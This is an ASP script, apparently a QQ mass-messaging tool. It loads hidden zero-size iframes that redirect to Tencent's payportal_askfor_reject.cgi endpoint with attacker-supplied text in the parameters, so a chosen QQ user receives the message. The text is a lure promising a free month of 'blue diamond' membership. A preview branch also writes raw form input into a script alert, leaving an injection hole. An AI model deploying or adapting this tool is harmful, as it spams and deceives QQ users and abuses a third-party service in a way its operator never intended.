<%
dim ID
if request("wsubmit")<>"" Then
msg=request.form("msg")
msg2=request.form("msg2")
qq=request.form("qq")
line=request.form("line")
CID=request.form("CID")
Cqq=request.form("Cqq")
%>
<%response.write"openwin('qq.asp?To_qq=2&line="&line&"&qq="&qq&"&cqq="&cqq&"&CID="&CID&"&msg2="&msg2&"&msg="&msg&"')"%>
<%
elseif request("To_qq")=2 Then
msg=request("msg")
msg2=request("msg2")
qq=request("qq")
line=request("line")
CID=request("CID")
Cqq=request("Cqq")
response.write"<br><br>正在进行QQ群发！"
For i=1 To line
response.write"<Iframe src=qq.asp?ID=1&qq="&qq&"&cqq="&cqq&"&CID="&CID&"&msg2="&msg2&"&msg="&msg&" name=line height=0 width=0 scrolling=no marginwidth=0 marginheight=0 frameborder=no></Iframe><br>"
If i>=10 Then Exit For
Next
elseif request("ID")<>"" Then
msg=request("msg")
msg2=request("msg2")
qq=request("qq")
CID=request("CID")
Cqq=request("Cqq")
if CID=1 then
Response.Redirect "http://game.qq.com/cgi-bin/payportal_askfor_reject.cgi?payuin=81238(qq81238)"&msg&" 如果你买的东西多,我怎么好意思&askuin="&qq&"&month=蓝钻呢?马上打开,进入就赠送你1&service=QQSHOW"
elseif CID=2 then
Response.Redirect "http://game.qq.com/cgi-bin/payportal_askfor_reject.cgi?payuin="&cqq&""&msg&" "&msg2&"&askuin="&qq&"&month=蓝钻呢?马上打开,进入就赠送你1&service=QQGAME"
end if
elseif request("see")<>"" Then
msg=request.form("msg")
msg2=request.form("msg2")
qq=request.form("qq")
line=request.form("line")
CID=request.form("CID")
Cqq=request.form("Cqq")
response.write"<br><br>正在进行QQ群发浏览！<br>"
response.write" "
response.write "<script>alert('系统广播:\n\n"&cqq&"\n\n"&msg&"\n\n"&msg2&"拒绝给您赠送蓝钻呢?\n\n马上打开,进入就赠送1个月的蓝钻超级玩家！');history.back();</Script>"
else
%> |
